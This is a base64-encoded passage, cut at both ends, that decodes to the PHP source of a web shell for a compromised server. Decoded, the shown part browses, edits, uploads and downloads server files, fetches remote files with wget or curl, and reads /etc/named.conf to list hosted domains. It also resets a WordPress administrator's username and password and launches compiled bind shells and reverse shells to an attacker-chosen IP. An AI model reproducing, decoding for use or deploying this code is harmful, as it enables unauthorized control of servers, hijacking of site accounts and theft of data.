WFsaWduOmNlbnRlcjsnPmNhbid0IGNvbm5lY3Q8L3A+IjtlY2hvICRtc2c7fSBlbHNlez8+IA0KPGZvcm0gYWN0aW9uPSI/IiBtZXRob2Q9ImdldCI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ieSIgdmFsdWU9Ijw/cGhwIGVjaG8gJHB3ZDs/PiIgLz4gPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ieCIgdmFsdWU9Im15c3FsIiAvPjxicj48YnI+PGJyPjx0YWJsZSBjbGFzcz0idGFibmV0IiBzdHlsZT0id2lkdGg6MzAwcHg7Ij4gPHRyPjx0aCBjb2xzcGFuPSIyIj5NeVNRTCBDb25uZWN0PC90aD48L3RyPiA8dHI+PHRkPiZuYnNwOyZuYnNwO0hvc3Q8L3RkPjx0ZD48aW5wdXQgc3R5bGU9IndpZHRoOjIyMHB4OyIgY2xhc3M9ImlucHV0eiIgdHlwZT0idGV4dCIgbmFtZT0ic3FsaG9zdCIgdmFsdWU9ImxvY2FsaG9zdCIgLz48L3RkPjwvdHI+IDx0cj48dGQ+Jm5ic3A7Jm5ic3A7VXNlcm5hbWU8L3RkPjx0ZD48aW5wdXQgc3R5bGU9IndpZHRoOjIyMHB4OyIgY2xhc3M9ImlucHV0eiIgdHlwZT0idGV4dCIgbmFtZT0ic3FsdXNlciIgdmFsdWU9InJvb3QiIC8+PC90ZD48L3RyPiA8dHI+PHRkPiZuYnNwOyZuYnNwO1Bhc3N3b3JkPC90ZD48dGQ+PGlucHV0IHN0eWxlPSJ3aWR0aDoyMjBweDsiIGNsYXNzPSJpbnB1dHoiIHR5cGU9InRleHQiIG5hbWU9InNxbHBhc3MiIHZhbHVlPSJwYXNzd29yZCIgLz48L3RkPjwvdHI+IDx0cj48dGQ+Jm5ic3A7Jm5ic3A7UG9ydDwvdGQ+PHRkPjxpbnB1dCBzdHlsZT0id2lkdGg6ODBweDsiIGNsYXNzPSJpbnB1dHoiIHR5cGU9InRleHQiIG5hbWU9InNxbHBvcnQiIHZhbHVlPSIzMzA2IiAvPiZuYnNwOzxpbnB1dCBzdHlsZT0id2lkdGg6MTklOyIgY2xhc3M9ImlucHV0emJ1dCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iR28gISIgbmFtZT0ic3VibWl0c3FsIiAvPjwvdGQ+PC90cj48L3RhYmxlPjwvZm9ybT4gDQo8P3BocCB9fQ0KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdkb21haW5zJykpe2VjaG8gIjxicj48YnI+PHAgYWxpZ249Y2VudGVyPkRvbWFpbnMgYW5kIFVzZXJzPC9wPiI7JGQwbWFpbnMgPSBAZmlsZSgiL2V0Yy9uYW1lZC5jb25mIik7DQppZighJGQwbWFpbnMpe2RpZSgiPGNlbnRlcj5FcnJvciA6IGkgY2FuJ3QgcmVhZCBbIC9ldGMvbmFtZWQuY29uZiBdPC9jZW50ZXI+Iik7fWVjaG8gJzx0YWJsZSBpZD0ib3V0cHV0Ij48dHIgYmdjb2xvcj0jY2VjZWNlPjx0ZD5Eb21haW5zPC90ZD48dGQ+dXNlcnM8L3RkPjwvdHI+JzsNCmZvcmVhY2goJGQwbWFpbnMgYXMgJGQwbWFpbil7aWYoZXJlZ2koInpvbmUiLCRkMG1haW4pKXtwcmVnX21hdGNoX2FsbCgnI3pvbmUgIiguKikiIycsICRkMG1haW4sICRkb21haW5zKTtmbHVzaCgpO2lmKHN0cmxlbih0cmltKCRkb21haW5zWzFdWzBdKSkgPiAyKXskdXNlciA9IHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoIi9ldGMvdmFsaWFzZXMvIi4kZG9tYWluc1sxXVswXSkpO2VjaG8gIjx0cj48dGQ+PGEgaHJlZj1odHRwOi8vd3d3LiIuJGRvbWFpbnNbMV1bMF0uIi8+Ii4kZG9tYWluc1sxXVswXS4iPC9hPjwvdGQ+PHRkPiIuJHVzZXJbJ25hbWUnXS4iPC90ZD48L3RyPiI7Zmx1c2goKTt9fX19DQplbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ3dvcmRwcmVzcycpKXtpZihlbXB0eSgkX1BPU1RbJ3B3ZCddKSl7ZWNobyAiPGJyPjxicj48YnI+PGJyPjxicj48YnI+PEZPUk0gbWV0aG9kPSdQT1NUJz5EQl9QcmVmaXggOiAgPElOUFVUIGNsYXNzID0naW5wdXR6JyBzaXplPScxNScgdmFsdWU9J3dwXycgbmFtZT0ncHJlZml4JyB0eXBlPSd0ZXh0Jz4mbmJzcDsmbmJzcDtob3N0ICAgICA6ICA8SU5QVVQgY2xhc3MgPSdpbnB1dHonIHNpemU9JzE1JyB2YWx1ZT0nbG9jYWxob3N0JyBuYW1lPSdsb2NhbGhvc3QnIHR5cGU9J3RleHQnPiZuYnNwOyZuYnNwO2RhdGFiYXNlIDogIDxJTlBVVCBjbGFzcyA9J2lucHV0eicgc2l6ZT0nMTUnIHZhbHVlPSdEYXRhYmFzZScgbmFtZT0nZGF0YWJhc2UnIHR5cGU9J3RleHQnPiZuYnNwOyZuYnNwO3VzZXJuYW1lIDogIDxJTlBVVCBjbGFzcyA9J2lucHV0eicgc2l6ZT0nMTUnIHZhbHVlPSdkYl91c2VyJyBuYW1lPSd1c2VybmFtZScgdHlwZT0ndGV4dCc+Jm5ic3A7Jm5ic3A7cGFzc3dvcmQgOiAgPElOUFVUIGNsYXNzID0naW5wdXR6JyBzaXplPScxNScgdmFsdWU9J2RiX3Bhc3MnIG5hbWU9J3Bhc3N3b3JkJyB0eXBlPSd0ZXh0Jz4mbmJzcDsmbmJzcDs8YnI+PGJyPk5ldyB1c2VybmFtZSA6ICA8SU5QVVQgY2xhc3MgPSdpbnB1dHonIG5hbWU9J2FkbWluJyBzaXplPScxNScgdmFsdWU9J2syJz48YnI+PGJyPk5ldyBwYXNzd29yZCA6ICA8SU5QVVQgY2xhc3MgPSdpbnB1dHonIG5hbWU9J3B3ZCcgc2l6ZT0nMTUnIHZhbHVlPScxMjMxMjMnPjxicj4mbmJzcDsmbmJzcDs8YnI+PElOUFVUIGNsYXNzPSdpbnB1dHpidXQnIHZhbHVlPSdjaGFuZ2UnIG5hbWU9J3NlbmQnIHR5cGU9J3N1Ym1pdCc+PC9GT1JNPiI7fWVsc2V7JHByZWZpeCA9ICRfUE9TVFsncHJlZml4J107JGxvY2FsaG9zdCA9ICRfUE9TVFsnbG9jYWxob3N0J107JGRhdGFiYXNlPSAkX1BPU1RbJ2RhdGFiYXNlJ107JHVzZXJuYW1lPSAkX1BPU1RbJ3VzZXJuYW1lJ107JHBhc3N3b3JkPSAkX1BPU1RbJ3Bhc3N3b3JkJ107JHB3ZD0gJF9QT1NUWydwd2QnXTskYWRtaW49ICRfUE9TVFsnYWRtaW4nXTtAbXlzcWxfY29ubmVjdCgkbG9jYWxob3N0LCR1c2VybmFtZSwkcGFzc3dvcmQpIG9yIGRpZShteXNxbF9lcnJvcigpKTtAbXlzcWxfc2VsZWN0X2RiKCRkYXRhYmFzZSkgb3IgZGllKG15c3FsX2Vycm9yKCkpOyRoYXNoID0gY3J5cHQoJHB3ZCk7JGsyPUBteXNxbF9xdWVyeSgiVVBEQVRFICIuJHByZWZpeC4idXNlcnMgU0VUIHVzZXJfbG9naW4gPSciLiRhZG1pbi4iJyBXSEVSRSBJRCA9IDEiKSBvciBkaWUobXlzcWxfZXJyb3IoKSk7JGsyPUBteXNxbF9xdWVyeSgiVVBEQVRFICIuJHByZWZpeC4idXNlcnMgU0VUIHVzZXJfcGFzcyA9JyIuJGhhc2guIicgV0hFUkUgSUQgPSAxIikgb3IgZGllKG15c3FsX2Vycm9yKCkpO2lmKCRrMil7ZWNobyAnPGJyPjxicj48Y2VudGVyPjxoMT5Eb25lIC4uLiBnbyBhbmQgbG9naW48L2gxPjwvY2VudGVyPic7fX1lY2hvICc8L2NlbnRlcj4nO30NCmVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAnc3RyaW5nJykpeyR0ZXh0ID0gJF9QT1NUWydjb2RlJ107Pz48Y2VudGVyPjxmb3JtIG1ldGhvZD0icG9zdCI+PGJyPjxicj48YnI+PHRleHRhcmVhIGNsYXNzPSdpbnB1dHonIGNvbHM9ODAgcm93cz01IG5hbWU9ImNvZGUiPmsybGwzM2Q8L3RleHRhcmVhPjxicj48YnI+PHNlbGVjdCBjbGFzcz0naW5wdXR6JyBzaXplPSIxIiBuYW1lPSJvcGUiPjxvcHRpb24gdmFsdWU9ImJhc2U2NCI+QmFzZTY0PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ibWQ1Ij5tZDU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJ3aGFzaCI+Q3J5cHQ8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJTSEExIj5TSEExPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0idXJsZW5jb2RlIj5VUkwgRW5jb2Rpbmc8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJtZDQiPm1kNDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9IlNIQTI1NiI+U0hBMjU2PC9vcHRpb24+PC9zZWxlY3Q+Jm5ic3A7PGlucHV0IGNsYXNzPSdpbnB1dHpidXQnIHR5cGU9J3N1Ym1pdCcgdmFsdWU9J2VuY3J5cHQnPjwvZm9ybT48P3BocCAkb3AgPSAkX1BPU1RbIm9wZSJdO3N3aXRjaCAoJG9wKSB7Y2FzZSAnYmFzZTY0JzogJGNvZGk9YmFzZTY0X2VuY29kZSgkdGV4dCk7YnJlYWs7Y2FzZSAnbWQ1JyA6ICRjb2RpPW1kNSgkdGV4dCk7YnJlYWs7Y2FzZSAnd2hhc2gnIDogJGNvZGk9Y3J5cHQoJHRleHQpO2JyZWFrO2Nhc2UgJ1NIQTEnIDogJGNvZGk9c2hhMSgkdGV4dCk7YnJlYWs7Y2FzZSAndXJsZW5jb2RlJyA6ICRjb2RpPXVybGVuY29kZSgkdGV4dCk7YnJlYWs7Y2FzZSAnbWQ0JyA6ICRjb2RpPWhhc2goIm1kNCIsJHRleHQpO2JyZWFrO2Nhc2UgJ1NIQTI1NicgOiAkY29kaT1oYXNoKCJzaGEyNTYiLCR0ZXh0KTticmVhaztkZWZhdWx0OmJyZWFrO31lY2hvICc8dGV4dGFyZWEgY29scz04MCByb3dzPTEwIGNsYXNzPSJpbnB1dHoiIHJlYWRvbmx5PicuJGNvZGkuJzwvdGV4dGFyZWE+PC9jZW50ZXI+Jzt9DQplbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ3BocGluZm8nKSl7QG9iX3N0YXJ0KCk7QGV2YWwoInBocGluZm8oKTsiKTskYnVmZiA9IEBvYl9nZXRfY29udGVudHMoKTtAb2JfZW5kX2NsZWFuKCk7JGF3YWwgPSBzdHJwb3MoJGJ1ZmYsIjxib2R5PiIpKzY7JGFraGlyID0gc3RycG9zKCRidWZmLCI8L2JvZHk+Iik7ZWNobyAiPGRpdiBjbGFzcz0ncGhwaW5mbyc+Ii5zdWJzdHIoJGJ1ZmYsJGF3YWwsJGFraGlyLSRhd2FsKS4iPC9kaXY+Ijt9IA0KZWxzZWlmKGlzc2V0KCRfR0VUWyd2aWV3J10pICYmICgkX0dFVFsndmlldyddICE9ICIiKSl7aWYoaXNfZmlsZSgkX0dFVFsndmlldyddKSl7aWYoIWlzc2V0KCRmaWxlKSkkZmlsZSA9IG1hZ2ljYm9vbSgkX0dFVFsndmlldyddKTtpZighJHdpbiAmJiAkcG9zaXgpeyRuYW1lPUBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRmaWxlKSk7JGdyb3VwPUBwb3NpeF9nZXRncmdpZChAZmlsZWdyb3VwKCRmaWxlKSk7JG93bmVyID0gJG5hbWVbJ25hbWUnXS4iPHNwYW4gY2xhc3M9J2dheWEnPiA6IDwvc3Bhbj4iLiRncm91cFsnbmFtZSddO30gZWxzZSB7JG93bmVyID0gJHVzZXI7fSRmaWxuID0gYmFzZW5hbWUoJGZpbGUpO2VjaG8gIjx0YWJsZSBzdHlsZT0nbWFyZ2luOjZweCAwIDAgMnB4O2xpbmUtaGVpZ2h0OjIwcHg7Jz4gPHRyPjx0ZD5GaWxlbmFtZTwvdGQ+PHRkPjxzcGFuIGlkPSciLmNsZWFyc3BhY2UoJGZpbG4pLiJfbGluayc+Ii4kZmlsZS4iPC9zcGFuPiA8Zm9ybSBhY3Rpb249Jz95PSIuJHB3ZC4iJmFtcDt2aWV3PSRmaWxlJyBtZXRob2Q9J3Bvc3QnIGlkPSciLmNsZWFyc3BhY2UoJGZpbG4pLiJfZm9ybScgY2xhc3M9J3NlbWJ1bnlpJyBzdHlsZT0nbWFyZ2luOjA7cGFkZGluZzowOyc+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J29sZG5hbWUnIHZhbHVlPSciLiRmaWxuLiInIHN0eWxlPSdtYXJnaW46MDtwYWRkaW5nOjA7JyAvPiA8aW5wdXQgY2xhc3M9J2lucHV0eicgc3R5bGU9J3dpZHRoOjIwMHB4OycgdHlwZT0ndGV4dCcgbmFtZT0nbmV3bmFtZScgdmFsdWU9JyIuJGZpbG4uIicgLz4gPGlucHV0IGNsYXNzPSdpbnB1dHpidXQnIHR5cGU9J3N1Ym1pdCcgbmFtZT0ncmVuYW1lJyB2YWx1ZT0ncmVuYW1lJyAvPiA8aW5wdXQgY2xhc3M9J2lucHV0emJ1dCcgdHlwZT0nc3VibWl0JyBuYW1lPSdjYW5jZWwnIHZhbHVlPSdjYW5jZWwnIG9uY2xpY2s9J3R1a2FyKCciLmNsZWFyc3BhY2UoJGZpbG4pLiJfbGluaycsJyIuY2xlYXJzcGFjZSgkZmlsbikuIl9mb3JtJyk7JyAvPiA8L2Zvcm0+IDwvdGQ+PC90cj4gPHRyPjx0ZD5TaXplPC90ZD48dGQ+Ii51a3VyYW4oJGZpbGUpLiI8L3RkPjwvdHI+IDx0cj48dGQ+UGVybWlzc2lvbjwvdGQ+PHRkPiIuZ2V0X3Blcm1zKCRmaWxlKS4iPC90ZD48L3RyPiA8dHI+PHRkPk93bmVyPC90ZD48dGQ+Ii4kb3duZXIuIjwvdGQ+PC90cj4gPHRyPjx0ZD5DcmVhdGUgdGltZTwvdGQ+PHRkPiIuZGF0ZSgiZC1NLVkgSDppIixAZmlsZWN0aW1lKCRmaWxlKSkuIjwvdGQ+PC90cj4gPHRyPjx0ZD5MYXN0IG1vZGlmaWVkPC90ZD48dGQ+Ii5kYXRlKCJkLU0tWSBIOmkiLEBmaWxlbXRpbWUoJGZpbGUpKS4iPC90ZD48L3RyPiA8dHI+PHRkPkxhc3QgYWNjZXNzZWQ8L3RkPjx0ZD4iLmRhdGUoImQtTS1ZIEg6aSIsQGZpbGVhdGltZSgkZmlsZSkpLiI8L3RkPjwvdHI+IDx0cj48dGQ+QWN0aW9uczwvdGQ+PHRkPjxhIGhyZWY9Jz95PSRwd2QmYW1wO2VkaXQ9JGZpbGUnPmVkaXQ8L2E+IHwgPGEgaHJlZj1cImphdmFzY3JpcHQ6dHVrYXIoXCIiLmNsZWFyc3BhY2UoJGZpbG4pLiJfbGluaycsJyIuY2xlYXJzcGFjZSgkZmlsbikuIl9mb3JtXCIpO1wiPnJlbmFtZTwvYT4gfCA8YSBocmVmPSc/eT0kcHdkJmFtcDtkZWxldGU9JGZpbGUnPmRlbGV0ZTwvYT4gfCA8YSBocmVmPSc/eT0kcHdkJmFtcDtkbD0kZmlsZSc+ZG93bmxvYWQ8L2E+Jm5ic3A7KDxhIGhyZWY9Jz95PSRwd2QmYW1wO2RsZ3ppcD0kZmlsZSc+Z3ppcDwvYT4pPC90ZD48L3RyPiA8dHI+PHRkPlZpZXc8L3RkPjx0ZD48YSBocmVmPSc/eT0iLiRwd2QuIiZhbXA7dmlldz0iLiRmaWxlLiInPnRleHQ8L2E+IHwgPGEgaHJlZj0nP3k9Ii4kcHdkLiImYW1wO3ZpZXc9Ii4kZmlsZS4iJmFtcDt0eXBlPWNvZGUnPmNvZGU8L2E+IHwgPGEgaHJlZj0nP3k9Ii4kcHdkLiImYW1wO3ZpZXc9Ii4kZmlsZS4iJmFtcDt0eXBlPWltYWdlJz5pbWFnZTwvYT48L3RkPjwvdHI+PC90YWJsZT4iOw0KaWYoaXNzZXQoJF9HRVRbJ3R5cGUnXSkgJiYgKCRfR0VUWyd0eXBlJ109PSdpbWFnZScpKXtlY2hvICI8ZGl2IHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjttYXJnaW46OHB4Oyc+PGltZyBzcmM9Jz95PSIuJHB3ZC4iJmFtcDtpbWc9Ii4kZmlsbi4iJz48L2Rpdj4iO30gDQplbHNlaWYoaXNzZXQoJF9HRVRbJ3R5cGUnXSkgJiYgKCRfR0VUWyd0eXBlJ109PSdjb2RlJykpe2VjaG8gIjxkaXYgY2xhc3M9J3ZpZXdmaWxlJz4iOyRmaWxlID0gd29yZHdyYXAoQGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKSwiMjQwIiwiXG4iKTtAaGlnaGxpZ2h0X3N0cmluZygkZmlsZSk7ZWNobyAiPC9kaXY+Ijt9IGVsc2Uge2VjaG8gIjxkaXYgY2xhc3M9J3ZpZXdmaWxlJz4iO2VjaG8gbmwyYnIoaHRtbGVudGl0aWVzKChAZmlsZV9nZXRfY29udGVudHMoJGZpbGUpKSkpO2VjaG8gIjwvZGl2PiI7fX1lbHNlaWYoaXNfZGlyKCRfR0VUWyd2aWV3J10pKXtlY2hvIHNob3dkaXIoJHB3ZCwkcHJvbXB0KTt9fQ0KZWxzZWlmKGlzc2V0KCRfR0VUWydlZGl0J10pICYmICgkX0dFVFsnZWRpdCddICE9ICIiKSl7aWYoaXNzZXQoJF9QT1NUWydzYXZlJ10pKXskZmlsZSA9ICRfUE9TVFsnc2F2ZWFzJ107JGNvbnRlbnQgPSBtYWdpY2Jvb20oJF9QT1NUWydjb250ZW50J10pO2lmKCRmaWxleiA9IEBmb3BlbigkZmlsZSwidyIpKXskdGltZSA9IGRhdGUoImQtTS1ZIEg6aSIsdGltZSgpKTtpZihAZndyaXRlKCRmaWxleiwkY29udGVudCkpICRtc2cgPSAiZmlsZSBzYXZlZCA8c3BhbiBjbGFzcz0nZ2F5YSc+QDwvc3Bhbj4gIi4kdGltZTtlbHNlICRtc2cgPSAiZmFpbGVkIHRvIHNhdmUiO0BmY2xvc2UoJGZpbGV6KTt9ZWxzZSAkbXNnID0gInBlcm1pc3Npb24gZGVuaWVkIjt9aWYoIWlzc2V0KCRmaWxlKSkkZmlsZSA9ICRfR0VUWydlZGl0J107aWYoJGZpbGV6ID0gQGZvcGVuKCRmaWxlLCJyIikpeyRjb250ZW50ID0gIiI7DQp3aGlsZSghZmVvZigkZmlsZXopKXskY29udGVudCAuPSBodG1sZW50aXRpZXMoc3RyX3JlcGxhY2UoIicnIiwiJyIsZmdldHMoJGZpbGV6KSkpO30NCkBmY2xvc2UoJGZpbGV6KTt9Pz48Zm9ybSBhY3Rpb249Ij95PTw/cGhwIGVjaG8gJHB3ZDs/PiZhbXA7ZWRpdD08P3BocCBlY2hvICRmaWxlOz8+IiBtZXRob2Q9InBvc3QiPiA8dGFibGUgY2xhc3M9ImNtZGJveCI+IDx0cj48dGQgY29sc3Bhbj0iMiI+IA0KPHRleHRhcmVhIGNsYXNzPSJvdXRwdXQiIG5hbWU9ImNvbnRlbnQiPiANCjw/cGhwIGVjaG8gJGNvbnRlbnQ7Pz48L3RleHRhcmVhPiA8dHI+DQo8dGQgY29sc3Bhbj0iMiI+U2F2ZSBhcyA8aW5wdXQgb25Nb3VzZU92ZXI9InRoaXMuZm9jdXMoKTsiIGlkPSJjbWQiIGNsYXNzPSJpbnB1dHoiIHR5cGU9InRleHQiIG5hbWU9InNhdmVhcyIgc3R5bGU9IndpZHRoOjYwJTsiIHZhbHVlPSI8P3BocCBlY2hvICRmaWxlOz8+IiAvPg0KPGlucHV0IGNsYXNzPSJpbnB1dHpidXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IlNhdmUgISIgbmFtZT0ic2F2ZSIgc3R5bGU9IndpZHRoOjEyJTsiIC8+IA0KJm5ic3A7PD9waHAgZWNobyAkbXNnOz8+PC90ZD48L3RyPjwvdGFibGU+PC9mb3JtPiA8P3BocCB9IA0KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICd1cGxvYWQnKSl7aWYoaXNzZXQoJF9QT1NUWyd1cGxvYWRjb21wJ10pKXtpZihpc191cGxvYWRlZF9maWxlKCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSkpeyRwYXRoID0gbWFnaWNib29tKCRfUE9TVFsncGF0aCddKTskZm5hbWUgPSAkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXTskdG1wX25hbWUgPSAkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ107JHBpbmRhaCA9ICRwYXRoLiRmbmFtZTskc3RhdCA9IEBtb3ZlX3VwbG9hZGVkX2ZpbGUoJHRtcF9uYW1lLCRwaW5kYWgpO2lmICgkc3RhdCkgeyRtc2cgPSAiZmlsZSB1cGxvYWRlZCB0byAkcGluZGFoIjt9IGVsc2UgJG1zZyA9ICJmYWlsZWQgdG8gdXBsb2FkICRmbmFtZSI7fWVsc2UgJG1zZyA9ICJmYWlsZWQgdG8gdXBsb2FkICRmbmFtZSI7fSANCmVsc2VpZihpc3NldCgkX1BPU1RbJ3VwbG9hZHVybCddKSl7JHBpbGloYW4gPSB0cmltKCRfUE9TVFsncGlsaWhhbiddKTskd3VybCA9IHRyaW0oJF9QT1NUWyd3dXJsJ10pOyRwYXRoID0gbWFnaWNib29tKCRfUE9TVFsncGF0aCddKTskbmFtYWZpbGUgPSBkb3dubG9hZCgkcGlsaWhhbiwkd3VybCk7JHBpbmRhaCA9ICRwYXRoLiRuYW1hZmlsZTtpZihpc19maWxlKCRwaW5kYWgpKXskbXNnID0gImZpbGUgdXBsb2FkZWQgdG8gJHBpbmRhaCI7fWVsc2UgJG1zZyA9ImZhaWxlZCB0byB1cGxvYWQgJG5hbWFmaWxlIjt9Pz4NCjxmb3JtIGFjdGlvbj0iP3k9PD9waHAgZWNobyAkcHdkOz8+JmFtcDt4PXVwbG9hZCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJwb3N0Ij48YnI+PGJyPjxicj4NCjx0YWJsZSBjbGFzcz0idGFibmV0IiBzdHlsZT0id2lkdGg6MzIwcHg7cGFkZGluZzowIDFweDsiPiA8dHI+PHRoIGNvbHNwYW49IjIiPkxvY2FsPC90aD48L3RyPiA8dHI+PHRkIGNvbHNwYW49IjIiPjxwIHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlcjsiPjxpbnB1dCBzdHlsZT0iY29sb3I6IzAwMDAwMDsiIHR5cGU9ImZpbGUiIG5hbWU9ImZpbGUiIC8+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0idXBsb2FkY29tcCIgY2xhc3M9ImlucHV0emJ1dCIgdmFsdWU9IkdvIiBzdHlsZT0id2lkdGg6ODBweDsiPjwvcD48L3RkPiA8dHI+PHRkIGNvbHNwYW49IjIiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iaW5wdXR6IiBzdHlsZT0id2lkdGg6OTklOyIgbmFtZT0icGF0aCIgdmFsdWU9Ijw/cGhwIGVjaG8gJHB3ZDs/PiIgLz48L3RkPjwvdHI+IDwvdHI+IDwvdGFibGU+PC9mb3JtPiA8dGFibGUgY2xhc3M9InRhYm5ldCIgc3R5bGU9IndpZHRoOjMyMHB4O3BhZGRpbmc6MCAxcHg7Ij4gPHRyPjx0aCBjb2xzcGFuPSIyIj5SZW1vdGU8L3RoPjwvdHI+IDx0cj48dGQgY29sc3Bhbj0iMiI+PGZvcm0gbWV0aG9kPSJwb3N0IiBzdHlsZT0ibWFyZ2luOjA7cGFkZGluZzowOyIgYWN0aW9ucz0iP3k9PD9waHAgZWNobyAkcHdkOz8+JmFtcDt4PXVwbG9hZCI+IDx0YWJsZT48dHI+PHRkPmxpbms8L3RkPg0KPHRkPjxpbnB1dCBjbGFzcz0iaW5wdXR6IiB0eXBlPSJ0ZXh0IiBuYW1lPSJ3dXJsIiBzdHlsZT0id2lkdGg6MjUwcHg7IiB2YWx1ZT0iaHR0cDovL3NpdGUvZmlsZS4qIj48L3RkPjwvdHI+IDx0cj48dGQgY29sc3Bhbj0iMiI+DQo8aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9ImlucHV0eiIgc3R5bGU9IndpZHRoOjk5JTsiIG5hbWU9InBhdGgiIHZhbHVlPSI8P3BocCBlY2hvICRwd2Q7Pz4iIC8+PC90ZD48L3RyPiA8dHI+PHRkPjxzZWxlY3Qgc2l6ZT0iMSIgY2xhc3M9ImlucHV0eiIgbmFtZT0icGlsaWhhbiI+IDxvcHRpb24gdmFsdWU9Ind3Z2V0Ij53Z2V0PC9vcHRpb24+IDxvcHRpb24gdmFsdWU9IndseW54Ij5seW54PC9vcHRpb24+IDxvcHRpb24gdmFsdWU9IndmcmVhZCI+ZnJlYWQ8L29wdGlvbj4gPG9wdGlvbiB2YWx1ZT0id2ZldGNoIj5mZXRjaDwvb3B0aW9uPiA8b3B0aW9uIHZhbHVlPSJ3bGlua3MiPmxpbmtzPC9vcHRpb24+IDxvcHRpb24gdmFsdWU9IndnZXQiPkdFVDwvb3B0aW9uPiA8b3B0aW9uIHZhbHVlPSJ3Y3VybCI+Y3VybDwvb3B0aW9uPiA8L3NlbGVjdD48L3RkPjx0ZCBjb2xzcGFuPSIyIj48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJ1cGxvYWR1cmwiIGNsYXNzPSJpbnB1dHpidXQiIHZhbHVlPSJHbyIgc3R5bGU9IndpZHRoOjI0NnB4OyI+PC90ZD48L3RyPjwvZm9ybT48L3RhYmxlPjwvdGQ+IDwvdHI+IDwvdGFibGU+IDxkaXYgc3R5bGU9InRleHQtYWxpZ246Y2VudGVyO21hcmdpbjoycHg7Ij48P3BocCBlY2hvICRtc2c7Pz48L2Rpdj4NCjw/cGhwIH0NCmVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAnbmV0c3Bsb2l0Jykpew0KaWYgKGlzc2V0KCRfUE9TVFsnYmluZCddKSAmJiAhZW1wdHkoJF9QT1NUWydwb3J0J10pICYmICFlbXB0eSgkX1BPU1RbJ2JpbmRfcGFzcyddKSAmJiAoJF9QT1NUWyd1c2UnXSA9PSAnQycpKSB7JHBvcnQgPSB0cmltKCRfUE9TVFsncG9ydCddKTskcGFzc3dyZCA9IHRyaW0oJF9QT1NUWydiaW5kX3Bhc3MnXSk7dHVsaXMoImJkYy5jIiwkcG9ydF9iaW5kX2JkX2MpO2V4ZSgiZ2NjIC1vIGJkYyBiZGMuYyIpO2V4ZSgiY2htb2QgNzc3IGJkYyIpO0B1bmxpbmsoImJkYy5jIik7ZXhlKCIuL2JkYyAiLiRwb3J0LiIgIi4kcGFzc3dyZC4iICYiKTskc2NhbiA9IGV4ZSgicHMgYXV4Iik7aWYoZXJlZ2koIi4vYmRjICRwb3IiLCRzY2FuKSl7JG1zZyA9ICI8cD5Qcm9jZXNzIHN1Y2Nlc3NlZDwvcD4iO30gZWxzZSB7JG1zZyA9ICI8cD5Qcm9jZXNzIEZhaWxlZDwvcD4iO319IA0KZWxzZWlmIChpc3NldCgkX1BPU1RbJ2JpbmQnXSkgJiYgIWVtcHR5KCRfUE9TVFsncG9ydCddKSAmJiAhZW1wdHkoJF9QT1NUWydiaW5kX3Bhc3MnXSkgJiYgKCRfUE9TVFsndXNlJ10gPT0gJ1BlcmwnKSkgeyRwb3J0ID0gdHJpbSgkX1BPU1RbJ3BvcnQnXSk7JHBhc3N3cmQgPSB0cmltKCRfUE9TVFsnYmluZF9wYXNzJ10pO3R1bGlzKCJiZHAiLCRwb3J0X2JpbmRfYmRfcGwpO2V4ZSgiY2htb2QgNzc3IGJkcCIpOyRwMj13aGljaCgicGVybCIpO2V4ZSgkcDIuIiBiZHAgIi4kcG9ydC4iICYiKTskc2NhbiA9IGV4ZSgicHMgYXV4Iik7aWYoZXJlZ2koIiRwMiBiZHAgJHBvcnQiLCRzY2FuKSl7JG1zZyA9ICI8cD5Qcm9jZXNzIHN1Y2Nlc3NlZDwvcD4iO30gZWxzZSB7JG1zZyA9ICI8cD5Qcm9jZXNzIEZhaWxlZDwvcD4iO30gfSANCmVsc2VpZiAoaXNzZXQoJF9QT1NUWydiYWNrY29ubiddKSAmJiAhZW1wdHkoJF9QT1NUWydiYWNrcG9ydCddKSAmJiAhZW1wdHkoJF9QT1NUWydpcCddKSAmJiAoJF9QT1NUWyd1c2UnXSA9PSAnQycpKSB7JGlwID0gdHJpbSgkX1BPU1RbJ2lwJ10pOyRwb3J0ID0gdHJpbSgkX1BPU1RbJ2JhY2twb3J0J10pO3R1bGlzKCJiY2MuYyIsJGJhY2tfY29ubmVjdF9jKTtleGUoImdjYyAtbyBiY2MgYmNjLmMiKTtleGUoImNobW9kIDc3NyBiY2MiKTtAdW5saW5rKCJiY2MuYyIpO2V4ZSgiLi9iY2MgIi4kaXAuIiAiLiRwb3J0LiIgJiIpOyRtc2cgPSAidHJ5aW5nIHRvIGNvbm5lY3QgdG8gIi4kaXAuIiBvbiBwb3J0ICIuJHBvcnQuIiAuLi4iO30gD